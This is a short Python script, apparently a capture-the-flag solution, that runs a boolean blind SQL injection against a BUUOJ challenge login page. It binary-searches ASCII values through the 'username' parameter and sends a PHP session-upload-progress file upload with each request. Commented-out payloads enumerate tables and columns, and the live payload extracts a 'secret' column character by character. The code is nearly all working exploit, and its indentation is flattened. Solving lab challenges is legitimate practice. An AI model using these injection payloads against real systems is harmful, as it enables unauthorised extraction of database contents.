#coding=utf-8
import io
import requests
import time
sessid = 'peri0d'
url = 'http://05c435b5-beb2-4fc3-92fe-249878699d61.node4.buuoj.cn:81/templates/login.php'
s = requests.session()
while True:
f = io.BytesIO(b'a' * 1024 * 50)
flag = ''
for i in range(1, 50):
print(flag)
low = 0
high = 255
mid = (low+high)//2
while low < high:
payload = {
# flag_tbl,ptbctf
# 'username': f'1" or (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})#',
# secret
# 'username': f'1" or (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flag_tbl")),{i},1))>{mid})#',
'username': f'1" or (ascii(substr((select(group_concat(secret))from(flag_tbl)),{i},1))>{mid})#',
'password': '111'
}
r = s.post(url=url, data={'PHP_SESSION_UPLOAD_PROGRESS': '123456'}, files={'file': ('peri0d.txt',f)}, cookies={'PHPSESSID': sessid}, params=payload)
time.sleep(0.5)
# true
if '<meta' in r.text:
low = mid + 1
# false
if 'Try again' in r.text:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break